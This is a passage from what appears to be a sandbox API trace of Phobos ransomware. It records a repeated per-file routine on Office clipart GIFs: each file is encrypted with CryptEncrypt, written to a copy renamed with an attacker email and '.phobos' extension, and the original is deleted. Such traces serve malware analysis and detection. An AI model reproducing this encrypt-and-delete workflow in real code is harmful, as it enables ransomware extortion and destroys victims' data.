[0056.697] CloseHandle (hObject=0x310) returned 1 [0056.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0056.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.697] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.697] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.697] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc790) returned 1 [0056.697] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.697] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xc44, lpOverlapped=0x0) returned 1 [0056.700] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc50, dwBufLen=0xc50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc50) returned 1 [0056.700] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xc50, lpOverlapped=0x0) returned 1 [0056.701] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0056.701] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.701] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.701] CryptDestroyKey (hKey=0x10dc950) returned 1 [0056.701] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.701] CryptDestroyKey (hKey=0x10dc790) returned 1 [0056.701] CloseHandle (hObject=0x310) returned 1 [0056.701] CloseHandle (hObject=0x2fc) returned 1 [0056.702] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0056.703] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.703] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=12482) returned 1 [0056.703] CloseHandle (hObject=0x2fc) returned 1 [0056.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0056.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.704] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.704] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.704] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0056.704] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.704] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x30c2, lpOverlapped=0x0) returned 1 [0056.707] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30d0) returned 1 [0056.707] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x30d0, lpOverlapped=0x0) returned 1 [0056.708] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcad0) returned 1 [0056.708] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.708] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.708] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0056.708] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.708] CryptDestroyKey (hKey=0x10dc710) returned 1 [0056.708] CloseHandle (hObject=0x2fc) returned 1 [0056.708] CloseHandle (hObject=0x310) returned 1 [0056.709] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0056.710] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.712] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=5253) returned 1 [0056.712] CloseHandle (hObject=0x310) returned 1 [0056.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0056.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.712] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.712] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.712] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0056.712] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.712] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1485, lpOverlapped=0x0) returned 1 [0057.244] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1490, dwBufLen=0x1490 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1490) returned 1 [0057.244] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1490, lpOverlapped=0x0) returned 1 [0057.244] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0057.245] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.245] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.245] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0057.245] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.245] CryptDestroyKey (hKey=0x10dc710) returned 1 [0057.245] CloseHandle (hObject=0x310) returned 1 [0057.245] CloseHandle (hObject=0x2fc) returned 1 [0057.251] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0057.252] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.253] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=8582) returned 1 [0057.253] CloseHandle (hObject=0x2fc) returned 1 [0057.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0057.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.253] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.253] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.253] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0057.254] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.254] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2186, lpOverlapped=0x0) returned 1 [0057.302] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2190, dwBufLen=0x2190 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2190) returned 1 [0057.302] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2190, lpOverlapped=0x0) returned 1 [0057.303] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0057.303] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.303] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.303] CryptDestroyKey (hKey=0x10dc950) returned 1 [0057.303] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.303] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.303] CloseHandle (hObject=0x2fc) returned 1 [0057.303] CloseHandle (hObject=0x310) returned 1 [0057.304] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0057.305] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.313] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9248) returned 1 [0057.313] CloseHandle (hObject=0x2fc) returned 1 [0057.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0057.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.314] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.314] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.315] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0057.315] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.315] ReadFile (in: hFile=0x300, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2420, lpOverlapped=0x0) returned 1 [0057.341] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2430, dwBufLen=0x2430 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2430) returned 1 [0057.341] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2430, lpOverlapped=0x0) returned 1 [0057.342] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcad0) returned 1 [0057.342] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.342] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.342] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0057.342] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.342] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.342] CloseHandle (hObject=0x300) returned 1 [0057.343] CloseHandle (hObject=0x328) returned 1 [0057.343] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0057.344] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.344] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4390) returned 1 [0057.344] CloseHandle (hObject=0x328) returned 1 [0057.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0057.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.345] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.345] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.382] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0057.382] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.382] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1126, lpOverlapped=0x0) returned 1 [0057.419] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1130, dwBufLen=0x1130 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1130) returned 1 [0057.419] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1130, lpOverlapped=0x0) returned 